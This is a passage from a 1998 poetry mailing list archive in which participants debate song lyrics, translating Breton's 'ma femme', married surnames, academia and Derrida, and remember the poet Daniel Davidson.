certain format) becomes part of the poet job description - Which in itself is not bad, but leads to visibility issues -

4. Who are your imagined (actual) readers?

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250. David Kellogg
Re: "my man"
Fri 6 Feb 1998

I believe it's "Ain't nobody's business if I do", not "but my own."

Cheers,
David
~~~
~~~

252. Jaqck Spandrift
reading announcement
Fri 6 Feb 1998

uh, can everybody please send your posts in iambic pentameter, please?
That will help me with the flow & continuity. Thanks.
- Jack Spandrift, dramaturg-wannabee

oh, yeah. That pompous, pedantic, picayune, pigheaded Poet-of-Crapola Henry Gould will give a benefit reading at Transit Books in Providence on Thursday, Feb. 19th, at 7 PM. Transit Books, corner of Governor & Transit. Call [redacted] for directions. Benefit for that truly tart-smelling tissue of turgid tree-rot ["All indie-crit MUST alliterate!" - Henry Gould, 10.4.86] NEDGE. $3. = a whole mess of oral Gould, a free copy of the object of abjectivity itself, & refreshments. Be there or be intelligent.

Cold out there, Hen?

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253. Mark Weiss
Re: Love Poems
Fri 6 Feb 1998

Now I remember that patronymics as we know them, even in parts of western Europe, are fairly recent. Norwegians (and other Scandinavians?) had no family names until required for the convenience of census-taker and taxman in the mid nineteenth century. When told to choose a last name most males (they got to choose) opted for the name they'd always been called by, so there are a lot of John son of Johns (Jansen, Jonson, etc., depending on country) in the Oslo phone book. Icelanders still do it the old-fashioned way--everybody is somebody's son or dottir, and last names change with each generation.

When did Smith become a last name instead of a career-choice?

Incidentally, my wife and I each legally retain our own last names. This was fine with the powers that are in Las Vegas, where we tied the knot--didn't even raise an eyebrow at the record clerk's. I don't know what the current law is in other states, but I knew a couple back in the sixties la femme of which had to change her name legally back to what it had been before marriage. I think that was in Maryland.
At 07:58 AM 2/6/98 -0600, you wrote:
>harold, i was talking about historical context and ongoing inequities, not
>specific cases. of course men suffer socially and economically when they
>take on traditionally "feminized" roles. that fact, to me, underscores my
>point that we live in a sexist society. sure, individual women take their

>husbands' names for any number of reasons: they sound better; carrying
>their father's name, with which they're saddled at birth, is no less
>sexist; it's more convenient for childrearing and record-keeping, etc. All
>of these except the first (aesthetics) to me underscore the fact that we
>live in a sexist society. the passion of your post, and the unusualness of
>the choices you've made, to me underscore the fact that we live in a sexist
>society that makes such choices remarkable. my hat's off to you for the
>choices you have made. i wasn't, though, talking about individual
>volition; i was responding to what i felt was a glib suggestion that women
>"taking" their husband's names was equivalent to men "taking" their wives
>as possessions; can't remember who made that post now. bests, maria d
>
>At 2:26 PM -0800 2/5/98, Harold Rhenisch wrote:
>>Oh for Heaven's sake, Maria. Your posts have always been intelligent and
>>I've always looked forward to them, but you've lost me this time with your
>>sweeping generalizations about gender equity. Sorry, but I have to say
>>this.
>>
>>My wife took my name neither to be usurped and colonized nor to be a piece
>>of property, and would find this discussion silly, whatever her reasons
>>were (and they were her own). Furthermore, she is neither usurped nor
>>colonized. 17 years ago I put her through university. For 12 years I have
>>cared for our children and home, put her through graduate school (and did
>>not go myself), assisted her hugely with her thesis, moved to follow her
>>job, and I continue to support her in her difficult, all-consuming
>>professional life daily. I may be so "staggeringly naive that further
>>discussion of equity between genders is pointless" and she may be too, but
>>my experience is that roles have as much to do with inequity as do genders:
>>a man today caring for his children is at as much of a social and political
>>disadvantage (in fact more of one) than a woman today caring for hers.
>>Whatever happened in the past, happened, and let's talk about it, let's fix
>>it as best we can, and if it is still happening, let's fix it now as well,
>>but let's not claim more than should be claimed. I am not knocking my
>>choices, because I know they have been good, but if that's not equity and
>>support, what on earth is? Making her stay home against her will so that
>>she could look after the children on 1/3 the salary, so that I could grow
>>bitter and not write? Both of us go to work and send the kids to daycare?
>>Not have kids? Split up? Tell her she has to take back her maiden name?
She
>>can change her name to anything she wants, any day.
>>
>>There, I said it.

>>
>>Harold Rhenisch
>>[redacted]
>
>

↑ Index

254. **Catherine Daly**
machine translation
Fri 6 Feb 1998

FYI: alta vista now has machine translation free at
http://ad.doubleclick.net/adi/babelfish.altavista.digital.com/

Catherine Daly
[redacted]

↑ Index

255. **Hank Lazer**
Re: a posting to poetics (late)
Fri 6 Feb 1998

I too thoroughly enjoyed Dan Bouchard's poem, and am glad to see a poem enter into the discussion, the poem as a mode of thinking....

Hank Lazer

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256. **david bromige**
laura moriarty's e-ddress
Fri 6 Feb 1998

Listfellows : forgive me conducting private biz in public, but how else to reach you, Laura ? Your posting today still has the SFSU e-ddress. But my reply to yr message re "sublime" was returned to me after 72 hours from that e-ddress. Can you explain b-c, and repeat the question re my text? Thanks, David

↑ Index

257. **KENT JOHNSON**
Incorrect
Fri 6 Feb 1998

I haven't been able to closely follow the list of late, but after going through some of the posts on the "My Woman" thread, I feel like I might have something

wrong with me, both personally and politically, for I've always found Breton's poem to be absolutely fantastic, a strange, disturbing, funny, mesmerizing, joyful, life-affirming, truly erotic poem. It never occured to me that there was something "wrong" with it. Desnos always does more for me, but Breton's poem is one I would have liked to have written, that's for sure. I guess that might sound "unfeminist" of me, but I don't know how else to say it. What, really, is so anachronistic or objectionable about the body of the beloved as, yes, _object of desire_, the body of the beloved as ecstatic "occasion" for unbounded and lustful praise? Any way you cut it, there's a certain objectifying drift to the erotic. And insofar as the charged polarities of eroticism lay the bed for the incandescence of union and climax, couldn't we agree that erotic objectification is, ipso facto, more natural than cultural--"objectionable" only in the sense that eating meat is objectionable? (One can _choose_ not to eat meat, but the human drive to eat the flesh of other beings is not going to go away.)

One can be "proper" in the sense of sexual politics, and those politics are surely important; but it's good to always keep in mind that the great thing about sexual passion, when it's good, is that it throws propriety out the window. And Breton's poem is, in the first instance, a poem of unjambed sexual passion. (Which, as I partly read it, says both that he wants to do her and that she does _him_, that she ultimately makes shreds of his drive to "own" or "control" her in the social sense of those terms.) Why not admire the paean for what it most deeply is: a wild loosing of unconscious, sexual desire, that most profound and unbidden force from which life and language spring. Heaven forbid that poetry become a tool to regulate the flow of that force by means of the qualifications of "correctness".

["Heaven forbid that the body of the other (pulsing quasar--primordial black hole) be shorn from me, cease being impossibly far yet still sensed, sending callings of its fathomless death through billions of years, emitting reason-collapsing surprise to the one who lusts, who listens there entranced, entranced for there's nothing she can do about it, that's just the way the universe is my swelling sex, the beloved as event horizon from whose sucking edge nothing in language escapes." --Margarita Risoldo, Cuban soap-opera star, thanking Bill Clinton for a signed copy of Leaves of Grass]

It was grossly incorrect to be sure, but probably not for nothing that Stephen Hawking (who said yes) bet another physicist (who said no) a year's subscription to Penthouse over whether a black hole could come to a singularity of infinite density and pop clear out of space and time. Whoever lost the bet got the Penthouse as consolation. Hawking won, proving, perhaps, that even the weirdest puzzles and mysteries of the universe are never fully free from the groin.

Kent

↑ Index

258. **d powell**
Sexy Ruminants
Fri 6 Feb 1998

And for Gertrude Stein, "cow" meant "orgasm." As in "As a Wife has a Cow: A Love Story."

Doug

==========
D A Powell [redacted]
==========

↑ Index

259. **d powell**
Re: my man (for Gwyn McVay)
Fri 6 Feb 1998

Reply to: RE: my man (for Gwyn McVay)
A lovely song for which many a queer man still gets teary-eyed. I wonder if those boys who wrote it were queer? In that case, the female singer becomes the wonderful beard through which these sentiments can be expressed. And there's certainly an altogether different conotation of "my man" when it's uttered by another man, mais non?

As for Bessie Smith, Ma Rainey and many other early blues singers, their male muses were often "bulldaggers" (the term of the day) or butch girls. This gives the possessive "my" a much different function, akin to when you order eggs benedict in a restaurant and you get something with cheese sauce instead of hollandaise. The waiter then tells you, "this is our eggs benedict" meaning "our version of." Oh my man I do love him so, whatever gender he happens to be...

Doug
==========
D A Powell [redacted]
==========

david bromige wrote:
> Sur cette terr', ma seul' joie, mon seul bonheur, C'est mon homme,
> J'ai donne/ tout c'que j'ai, mon amour tout mon coeur, A mon homme,

> Et me^me la nuit Quand je re^ve, c'est de lui De mon homme
> Ce n'est pas qu'il est beau, Qu'il est riche ni costaud, Mais je 'aime,
> C'est idiot et fout des coups, j'ai prend mes sous, Je suis a bout
> Mais malgre/ tout Que voulez-vous, Je l'ai tell'ment dans la peau
> Qu' j'en d'viens marteau, Des qu'il s'approch' c'est fini
> Je suis a lui, Quand ses yeux sur moi se pos'nt ca m'rend tout chose,
> Je l'ai tell'ment dans la peau Qu'au moindre mot, je suiss f'rait fair'n'
> importe quoi. J'tue-rais ma foi, J'sens qu'il me vendrait infa^me,
> Mais je n'suis qu'un' femme. Et j'lai tell'ment dans la , etc.
>
>It costs me a lot, but there's one thing that I've got--it's my man
>Cold and wet, tired you bet, but all that I soon forget With my man
>He's not much for looks, and no hero out of books__is my man
>Two or three girls has he that he likes as well as me, But I love him!
>I don't know why I should, He isn't good, Hen isn't true, He beats me too.
>What can I do? O my man I love him so, he'll never know,
>All my life is just despair, but I don't care When he takes me in his arms
>the world is bright, allright; What's the difference if I say, I'll go away,
>When I know I'll come back on my knees some day? For whatever my man is I
>am his forever more! Oh my man I love him so --- da capo, etc.
>
>Albert Willemetz et Jacques Charles, music by Maurice Yvain
>English tr. by Channing Pollock
>
>as sung by Fanny Brice in "Ziegfield Follies of 1921"
>
>This would appear to contain everything that American feminism
>dreads--understandably--the way doctors dread penicillin-resistant
>bacteria. All compressed into some 30 bars...sorry I cant append the music,
>which is kind of neat.
>
>
>RFC822 header
>----------
>
>Return-Path: <[redacted]>
>Delivered-To: [redacted]
>Received: (qmail 1108 invoked from network); 6 Feb 1998 01:23:11 -0000
>Received: from deliverance.acsu.buffalo.edu (128.205.7.57)
> by herring.com with SMTP; 6 Feb 1998 01:23:11 -0000
>Received: (qmail 19772 invoked from network); 5 Feb 1998 23:52:28 -0000
>Received: from listserv.acsu.buffalo.edu (128.205.7.35)

> by deliverance.acsu.buffalo.edu with SMTP; 5 Feb 1998 23:52:28 -0000
>Received: from LISTSERV.ACSU.BUFFALO.EDU by
LISTSERV.ACSU.BUFFALO.EDU
> (LISTSERV-TCP/IP release 1.8c) with spool id 28049901 for
> [redacted]; Thu, 5 Feb 1998 18:52:24 -0500
>Received: (qmail 5392 invoked from network); 5 Feb 1998 23:51:28 -0000
>Received: from smtp.metro.net (HELO baldr.metro.net) (205.138.228.126) by
> listserv.acsu.buffalo.edu with SMTP; 5 Feb 1998 23:51:28 -0000
>Received: from ig061.228.dial.innovation.com (ig061.228.dial.innovation.com
> [205.138.228.61]) by baldr.metro.net (NTMail 3.02.13) with ESMTP id
> ta799259 for <[redacted]>; Thu, 5 Feb 1998
> 16:07:48 -0800
>X-Sender: [redacted] (Unverified)
>Mime-Version: 1.0
>Content-Type: text/plain; charset="us-ascii"
>Message-ID: <v01540b00630b669d70e4@[205.138.228.34]>
>Date: Thu, 5 Feb 1998 16:07:48 -0800
>Reply-To: UB Poetics discussion group <[redacted]>
>Sender: UB Poetics discussion group <[redacted]>
>From: david bromige <[redacted]>
>Subject: "my man" (for Gwyn McVay)
>To: [redacted]
>

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260. **david bromige**

"*my woman*"

Fri 6 Feb 1998

As the countdown to Valentines Day proceeds, here's another entry,a blues-y number sung feelingly, in his lower register, by Bing Crosby (who wrote it together with "Wortell and Wallman" [genders unknown]) backed by a studio orchestra conducted by Victor Young and containing among others Tommy Dorsey and Eddie Lang, on 2/23/32 :

"my woman, is mean as she can be
 my woman, she makes a fool of me
never treats me good, dont know why I should/ love her

"she's lying, when she say 'I love you'
I know it, but what am I to do?
though she makes me cry, I dont care cos I/ love her

"once I laughed at love, thought it all wrong
then she came along, like a new song
now I sing a blue song

"my woman, she has a heart of stone
not human, but she must be my own
till the day I die, I'll be loving/ my woman"

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261. **dw**
Re: various - a spray
Fri 6 Feb 1998

I second Maria's "bravo" regarding Josh Shuster's post--that post helpfully focused the thread on community not careerism. Of course, "careerism" is a peculiarly awful academic disease, and I am sure that its various manifestations and self-serving politics grate on the nerves of those both inside and outside the academy. BUT I cannot accept disaffection with the academy as a rationale for bashing what little intellectual and affective life there is among those who claim to be poets--whatever the community to which they claim allegiance.

I want to talk about that "affective" life in so far as it is able to manifest itself electronically. It seems to me that we censor one another dreadfully--projects, rallying cries, and bashing aside. It seems to me that no one posts without a degree of prudence or grain of salt concerning reception. If I were to offer a project for a cyber community--it would be to to create a space where there was less harping on and anticipation of resistance. There very impossibility of doing what I propose (intrinsic as that impossibility is to the construction of power/knowledge loops) probably speaks more to the death of my own soul and to my fascination with the destructive processes I see at work here than it does my desire to express myself freely. Maybe only to the extent that desire to express oneself (an illusory right nourished by mother's milk, apple pie, and media exposure) is subject to mangling and frustration do any of us even attempt to write--so lets tread lightly on that ground even as we map the terrain.

Don Wellman

↑ Index

262. **d powell**
Re: my man
Fri 6 Feb 1998

Reply to: RE: my man

Tom Mandel wrote:
>Cold and wet, tired you bet....
>
>..I'm sure everybody on this list knows the incredible version of this song
>by Billie Holiday.
>
>and then there's her "Nobody's business but my own" (won't call no copper
>if I'm beat up by my poppa), and...
>
I believe the correct title is "T'aint nobody's business if I do" and I believe it was written by Fats Waller and Andy Ratzof. Two mens.

Doug

==========
D A Powell [redacted]
==========

↑ Index

263. **William Marsh**
Re: a posting to poetics (late)
Fri 6 Feb 1998

---

maria

why not ask that question of books? -- no excoriating responses here / this is one of the reasons i adore chapbooks, and small press runs, and the "made-to-order" policy of some micropresses -- seems like such an efficient use of re-sources (in most cases, not all) -- not to mention the aesthetics and practicality of the chapbook mode: ease of portability, speed of production, light weight (fits well in the backpack or back pocket, etc.), reading in one sitting (generally) / a friend of mine starting a magazine mentioned that he'd decided to find more money and go upscale for fear that readers would treat the lowscale production as a disposable item -- i was disheartened by this, treasuring perhaps more than my perfect-bounds the chaps and *little* books coming from presses extinct and extant: i think of them as something like notations of a more current practice, a little more fresh and alive sometimes than the slicker flat-spines (staple-lovers unite?) / i'm trying to get a small chapbook series off the ground and hope to tap into some of these values -- using all tools and materials as efficiently as possible in a small way similar to the way native americans used the whole buf-falo, hide to marrow / waste and inefficient use of resources analogous to the practices of factory farms (recycling cow parts into cow feed doesn't cut it for

me) is again another thing that motivates on several fronts, poetic and otherwise / as for trees (it's all related, all of it) we save a lot of paper here on Poetics, and e-mags obviously offer an attractive alternative, plus personal web publishing, etc. / i wonder though if anyone has calculated the resource-draw of all this personal computer use (silicon, plastics, electricity, phone lines, capital, etc.) / what uses more resources, for example: a 1/2 ounce letter posted in the mail, or a 5 Kb file posted to Poetics? (all things considered) / i'd assume the former, but i ain't sure

all best,
bill

At 07:59 AM 2/6/98 -0600, maria damon wrote:
>At 10:12 AM -0800 2/5/98, William Marsh wrote:
>>At 08:56 AM 2/5/98 -0500, daniel bouchard wrote:
>>>PAX
>>>
>>>I make a pact with you, Ron Silliman--
>>>I have admired your poems long enough.
>>>I come to you as a prodigal pup;
>>>Weaned at a dozen fat anthologies.
>>>I am old enough now to make an end.
>>>Whitman broke the new wood,
>>>Pound put in time to carving.
>>>We watch the blasted stumps in the open fields
>>>Leak black ink of American grain.
>>>
>>>I make a pact with you, venerable LangPoets--
>>>I have invested in your works long enough.
>>>I look back at you as a honorable bunch
>>>Laying new asphalt over the old roads;
>>>I am old enough now to map an end.
>>>It was you who splintered the carved wood,
>>>Now it is time for recycling.
>>>We have a cool climate and a rich soil--
>>>Don't let the mulcher come between us.
>>>
>>>I make a pact with you, my contemporaries--
>>>For to know you better there is time enough.
>>>I come to you with no gifts
>>>But that of mutual comradeship;
>>>I am ready to make friends.
>>>Look around us at all this damned wood,

>>>It is time to sort out what you want.
>>>We have glasses of water nursing new roots--
>>>Let there be communication between us.
>>>
>>daniel
>>
>>i'm interested in your statement here, especially given the fact that about
>>80% of old-growth forest in the U.S. has been lost (most of it to create
>>land for grazing livestock and/or growing livestock feed) and topsoil
>>depleted 75% for sake of same (not to mention chemical contamination of
>>soil and water--fertilizers, etc. to sustain growth) / so i have to admit
>>the running conceit here ("wood," "rich soil", "water nursing new roots,"
>>"recycling") resonates oddly for me--not just for its irony, intended or
>>not / the "American Grain" you refer to and "American Tree" by implication
>>as well lead me to think that what does separate writers today from the
>>"Tree" group is precisely our relationship to REsources, figuratively and
>>literally -- the american tree hasn't just been carved and splintered, it's
>>been cut down, paved over, then re-paved / planting "new roots" through
>>this kind of surface and in this kind of soil would be difficult indeed,
>>probably impossible / hydroponics and tree farms: maybe that's where the
>>future of poetry lies if we pursue the metaphor
>>
>>i don't know where you hail from, but having spent some time working on a
>>farm in Illinois (shutting windows when the pesticide truck comes through,
>>watching hillsides wash away, cleaning contaminated wells, etc.), i have a
>>hard time getting past the literal here / but quite seriously whatever pact
>>is made among writers today i think it needs to account for this new
>>relationship (to wood and word) / the invitation to "mutual comradeship"
>>however is gladly accepted
>>
>>best,
>>bill marsh
>>
>
>funny you shd mention this, bill; but it reminds me of something that
>resonates w/ the other list-thread on the honesty or not of critics. one
>thought i always bring to books when i review them is, "was this book worth
>cutting down trees for?" of course the answer is almost always negative
>but of course i don't feel i can say that in a review, it sounds way too
>harsh. but often i think that way: if this is an assistant professor
>coming up for tenure, and needs to publish, is it worth the trees? if this
>book is by a dean or tenured full prof whose future is not at issue, is it

>worth the trees? you'll notice that content has not yet entered the
>picture. that's because, with very few exceptions, most of the academic
>manuscripts or books i'm asked to review *really* don't add much to human
>knowledge, and certainly don't add as much as trees do to the quality of
>human life. so, i'm expecting excoriating messages back from all and
>sundry, accusing me of utter corruption. so ask yourself: is *your* book
>worth the trees? most of us have such small print runs it's okay (yes, i
>think about that too), esp the chapbooks etc., and those show such a
>spirited do-it-yrself energy that i think they're definitely worth it; i'm
>talking mostly about the academic book industry.
>

- -
William Marsh
PaperBrainPress
Voice & Range Community Arts
National University
[redacted]
http://www.dtai.com/~bmarsh
snail: 1860 PB Dr. #4
San Diego, CA 92109
- -

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264. **Don Byrd**

Re: Shuster, on Anti-academicism, Derrida, Community

Fri 6 Feb 1998

Joshua N Schuster wrote:

> *And, oooh, I find the academic slander particularly compelling. The fact that it is on this list in all its glory is sickening. It's all shit, let's burn the universities. Better yet, burn the critic-professors, especially that Derrida, root of all obscure academic prose.*

A distinction should be made between the Idea of the University and the University as an administrative and regulatory unit. The Idea is one of the bravest and most beautiful we have: a universe of knowledge, a repository of what humans have learned, and a place to advance that knowledge.

I agree certainly that Derrida represents some of the best of what that ideal has been able to produce in recent years. His writing is "powerful, precise, and stunning," an epic effort to recooperate a cultural tradition that has run away with itself and left much of the best of what humans have left seeming quite irrelevant. That he is touched upon in a Woody Allen movie is hardly negative.

In fact, it proves that he is actually producing an effect. And there are other great academics--Deleuze should be mentioned.

And it has been little noticed, the academic wheels move so slowly, that Derrida has moved beyond deconstruction to a new constructivism (_On the Name_, for example, is constructivist in much the sense that term was used in both the art and in formal logic in the early part of this century. I do not have the book at hand, but it ends saying, we must "construct a logos that look like a living creature," or something of that sort. It is an attempt to recover the Plato of _Timaeus_, among the most mythological and mystical of Plato's writings. If you want to talk academic work, this is what it is really about.

This turn should not be a surprise to to any one. There are very positive mentions of Plotinus and Neoplatonism (and _On the Name_ is classic Neoplatonic move) as early as _Speech and Phenomena_, but academics, especially American academics, saw in deconstruction nothing but away to avoid all but the narrowest kind of longing subject in ruthless social context.

Moreover, no one noticed that all of this might have something to do with a Neoplatonism that was resurgent in 1) the Eliot's interest in metaphysical poetry (and, thus, the whole of New Criticism); 2) Pound's interest in Gemisto's and Ficino's centrality to the Italian renaissance; 3) the Blake-Yeats tradition of vision; or 4) Olson's anti-metaphysical stance in "Human Universe" and his redevelopment of constructivism (in a very precise sense) through the mathematical philosophy of Herman Weyl and others. It also should have been apparent, from the moment that Derrida appeared as a figure working through the interstrices of the post May 68 and the malaise of the Heideggerian philosophy was that he beginning to arrive what had been many of the central themes of American philosophy and poetry since William James.

Without any disrespect for Derrida, I would suggest that the Derrida phenomena in the America university is an extraordinary example of the way in which the institution contrives through the most arcane and bureaucratic of its structures to function as a regulatory force in the culture. It is not because of demonic plot or vicious administrators; most everyone is doing what they do with the best of motives and the worst of results. I have worked in universities since 1971, but I had no idea how minutely the administrative structure of the university controls what is, in sum, purveyed as knowledge before the last three years, when I have served as Director of Graduate Studies. It is a remarkable system which gives everyone the experience of freedom and largely manages to cancel out that freedom. It must the understood that the university is inherently the most conservative institution in the culture: its sole purpose is to take the accumulated knowledge and pass it on to the next generation. It works very well in stable times, and it thrives (though it does not work well) in times

that can imagine themselves to be stable (e.g. the 50s), but it is utterly incapable of dealing with profound and rapid change--those times when some threshold is crossed, e.g. now.

db

--
****

Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

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265. **William Marsh**
Re: a posting to poetics (late)
Fri 6 Feb 1998

---

daniel

glad you're back / i too have Silliman's Philly Steak right next to me and plan to get to it as soon as i'm done here / but to a couple of your points

At 09:31 AM 2/6/98 -0500, you wrote:
 The poignancy of his thought (one I
>don't think Jeff Derksen responds to adequately, although he does cover
>other areas with adroitness) is caught when he questions what it means to be
>writing in today's world--after 1979 I think is the date; in a world where
>Palestinians suffer oppression but are only portrayed in American mainstream
>press as terrorists, or where the genocide going on in East Timor isn't
>portrayed at all. (I don't have the TALKS before; I'm sorry if not getting
>this 100%.) Those were two examples that Ron used. The environment is
>certainly another; one certainly not restricted by national borders. I think
>if there were to be a "crystallization" among younger writers (and I'm not
>advocating one) it would be centered such social questions of writing. Or,
>if I were to advocate a "crystallization" that's the one I would choose.

i think i agree here / are "such social questions of writing" also social questions of living, and living questions of...? / seriously, the "crystallization" that has probably itself gotten too much press here would, will, might center on the articulation of these questions, as well as the articulation of the activities (writing, living, arguing, challenging) to which the questions refer / so we have to be

direct / and to my mind, addressing below, questions of form, practice, social awareness, political struggle, global survival, can inform each other / as thoughts as well as afterthoughts / an integrated approach seems necessary / i'm being vague too, but put the question: what are the "social questions of writing"?

> *You've got to understand: when poets are aware of things like this (if I anticipated any poet would be it would be Ron Silliman) I am fairly excited, but when poets actually speak of them, in public, in the context of writing; well, it gives me quite a rush. Why? Because many of the poets I love (in the 20th century anyway) are concerned with such things in their poems.*

i understand the "rush" you're talking about / it's the rush i get when a good poet says anything in public, given that the voices with which the public speaking world is saturated are rarely those of poets / Ron S is often a wake-up call, when he addresses the issues like the ones you mention / when the "talk" turns to address possible generational disparities and shortcomings, the effect might not be so thrilling, as some here have suggested / maybe a 'turning against' when some folks think greater solidarity is in order? / again, i have to read the thing

> *The agrarian metaphor in "PAX" (or aboreal even) stems from the poem's model, Ezra Pound's "Pact" found in PERSONAE. The metaphor, like a lineage of poetics, runs through the century from Williams, Duncan ("open fields"), to the "Tree" anthology--well, I'm not saying anything people on this list don't already know but I think the "nursing new roots" image in the end is where I stand on this.*

okay, and i think here's where some of the nursing gets done / i liked your poem, by the way

bill

> *Bill Marsh wrote:*
> *i'm interested in your statement here, especially given the fact that about 80% of old-growth forest in the U.S. has been lost (most of it to create land for grazing livestock and/or growing livestock feed) and topsoil depleted 75% for sake of same (not to mention chemical contamination of soil and water--fertilizers, etc. to sustain growth) / so i have to admit the running conceit here ("wood," "rich soil", "water nursing new roots," "recycling") resonates oddly for me--not just for its irony, intended or not / the "American Grain" you refer to and "American Tree" by implication as well lead me to think that what does separate writers today from the "Tree" group is precisely our relationship to REsources, figuratively and literally -- the american tree hasn't just been carved and splintered, it's been cut down, paved over, then re-paved / planting "new roots" through this kind of surface and in this kind of soil would be difficult indeed,*

> *probably impossible / hydroponics and tree farms: maybe that's where the future of poetry lies if we pursue the metaphor*
>
> *i don't know where you hail from, but having spent some time working on a farm in Illinois (shutting windows when the pesticide truck comes through, watching hillsides wash away, cleaning contaminated wells, etc.), i have a hard time getting past the literal here / but quite seriously whatever pact is made among writers today i think it needs to account for this new relationship (to wood and word) / the invitation to "mutual comradeship" however is gladly accepted*
>
> *best,*
> *bill marsh*
>
> *<<<<<<>>>>>>>>>>>>>>>>>>*
> *Daniel Bouchard*
> *The MIT Press Journals*
> *Five Cambridge Center*
> *Cambridge, MA 02142*
>
> [redacted]
> *phone:* [redacted]
> *fax:* [redacted]
> *<<<<<<<<<<<<<<<<*

- -
William Marsh
PaperBrainPress
Voice & Range Community Arts
National University
[redacted]
http://www.dtai.com/~bmarsh
snail: 1860 PB Dr. #4
San Diego, CA 92109
- -

↑ Index

266. Mark Nowak
Lee Chapman
Fri 6 Feb 1998

Could someone please backchannel me
Lee Chapman's e-mail address? Thanks...

[redacted]

↑ Index

267. Gary Sullivan
Re: Dan
Fri 6 Feb 1998

I've responded to Tom Mandel.

All I'll say here is that I wrote my original response fully understanding, and appreciating, what he says below.

Gary

On Friday, February 06, 1998 10:53 AM, Tom Mandel
[SMTP:[redacted]] wrote:
> I've written to Gary Sullivan.
>
> All I'll say here is that I meant my words (wish he was here so I cd
> throttle him for what he did) to express my longing for his presence and my
> distress that he cannot be reached.
>
> Tom
>
>
> Tom Mandel [redacted]
> **********
> Screen Porch * http://screenporch.com
> 4020 Williamsburg Ct, Ste 200 * vox: [redacted]
> Fairfax, VA 22031 * fax: [redacted]
> **********
> Join the Caucus Conversation

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268. Bobbie West
numerology and death
Fri 6 Feb 1998

In some Chinese dialects, 44 is pronounced something like "sz sz sz," which is uncomfortably similar to the Chinese for "die! die! die!"

Bobbie West

>>Dan died at the age of 44--the age that too many of my own most influential 20th century artists left: Maya Deren, Paul Blackburn, Lew Welch,

and I
think Frank O'Hara (not totally sure about O'Hara, but pretty sure). Any numerologists out there?<<

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269. Harold Rhenisch
Re: Love Poems
Fri 6 Feb 1998

Maria, thanks for a wise and measured reply to my passionate post.

Yes, it is true, we live in a sexist society. As far as historical context and ongoing inequities goes, it's all a mess, and I guess I was trying to say that all this stuff does come down to specific cases, so we all have to be careful how we describe things.

Best,

Harold
[redacted]

↑ Index

270. George Thompson
Re: "my man" (George Thompson's post)
Fri 6 Feb 1998

> *George, Your point is well-taken, _if_ when you wrote "if these were a man's words" you intended "if these were a woman's words"--a reading that the context urges. And I would agree, that _once again_ , it is a man's "trip" (or 3 different men, actually) being "laid on" women. I was off-point, somewhat--although Fanny Brice, a woman, made it a big hit. "Buying in", I suppose. David*

David,

Thanks for understanding what I meant, not what I said.

George

↑ Index

271. Schuchat Simon
Re: 44
Fri 6 Feb 1998

Not just in some, but the major dialects of Chinese (Cantonese, Shanghainese, Min-nan hua & Northern Mandarin) "4" is a homophone for death, but the heavy taboo avoidance unlucky aura is strongest among the Cantonese. But 4

is not always unlucky in Chinese, viz the Buddha's 4 Noble Truths or Deng Xiaoping's 4 Cardinal Principals or Zhou Enlai's 4 modernizations.

A Shanghainese or Taiwanese would pronounce "44" more or less as "si si si" (four ten four/death death death) since those dialects don't clearly distinguish between "si" and "shi"

Repeating the 4, in some schools of fengshui, would negate it. (To return like a dog to my vomit, that was called "negating the negation" in Stalinist dialectics.)

Being a lyric poet after 40 is pretty difficult, unless you're going to be a dirty old man ala Yeats.

According to Confucius, "at 40 I was no longer confused"

(15 I became intent on study, 30 I was established, 40 no longer confused, 50 knew the will of heaven, 60 obeyed the will of heaven, at 70 I could do whatever I wanted because my desires no longer were inappropriate -- Analects II.4)

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272. Simon/Piombino
Re: Daniel Davidson
Fri 6 Feb 1998

Dear Gary Sullivan,

In June, 1991 Daniel Davidson sent me a copy of his strikingly excellent book of prose poems "Product" with a brief note containing some kind words about my own work. He sent the book and the note partly in response to Cydney Chadwick having mentioned to him how much I admired a piece called "Transit" which was published in Avec. I admired and enjoyed "Product" immensely and put it in an easy to reach place, and read it often. When I learned of Davidson's suicide I was very saddened, a feeling poignantly sharpened by the publication, soon after, of his masterful poetic collaboration with Tom Mandel titled "Absence Sensorium" (Potes and Poets Press, 1997). No doubt Tom Mandel has been deeply affected, as have many others. This project to get something together about his work would be an opportunity as well,of course, for everyone to learn more about Davidson and his powerful writing, which included an issue of A.bacus (#95) ("from Culture"), and the magisterial "Image", a Zasterle Book (1992) with the resonantly atmospheric kind of cover art and book design so often associated with that remarkable press in the Canary Islands, also responsible for Allen Ginsberg's mysterious final book, "Luminous Dreams" (1997), as well as as Tom Mandel's "Ancestral Cave(1997):"intimate conversation only slightly removed/ from silence, a remove to the distance/of barbarian chatter, the/candles sputter, the world outside/the window dies." I hope you have the

opportunity to follow through on this project, one that I will gladly support any way I can.

Very best wishes,
Nick Piombino

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273. Pierre Joris
Re: ma femme
Sat 7 Feb 1998

Dear Tom,

I tend to agree with the bottom half of your response (that's where the sex and the objectification is) but I believe that in the top half (that's where the words are) you are a bit too trenchant in your decisions re French. "Femme" is "woman." The possessive pronoun "ma" can turn it indeed all too easily into "my wife." But it does not do so necessarily. Thus, "ma femme" is, literally and in _most_ other senses, "my woman." "My wife" is "mon épouse." Of course "ma femme" is often, even mainly in everyday speech *also* used to refer to "the wife," the way the brits say "the missis." But "femme" in French also always retains exactly what you say of the English word, which "always is at bottom "woman," and "full of romantic (literarily, I mean) overtones and symbolic connections (to "woman"), and universalisms (viz. a man and a woman). Using it in the translation skews the poem."

The favorite sport of the surrealists was "chercher la femme," and that didn't mean they were looking for their spouses -- the latter a happily nearly unused term these days. What we in fact have is, as so often, the case of an English that's richer than the French, and in this case, has three terms, woman/ wife/ spouse instead of the French doublet femme/épouse — with femme having to carry the load of both woman and wife. And the word does carry it. Which is why you are right — if you want to read, as you do, the poem primarily as Breton "*investing* the quotidian relationship -- husband and wife --with qualities foreign to it or transformative of it." But that's a very limited reading, whatever the legal relationship Breton had with the specific woman (if there is one) he is addressing with/in the poem . (And we know, see below, that he was not addressing his wife.) Anybody French coming to the poem will first hear "woman" — and "woman" in exactly that sense that a blues singer will say "my woman" and maybe later, at a 2nd, 3rd or 10th reading, could think of the "wife" qua legal spouse — but legal niceties are not really on the front burner in a poem titled FREE UNION. Therefore translating it as "my woman" may miss a little of the complexity, but translating it as "my wife" misses most of the richness of the address and limits it to one small facet.

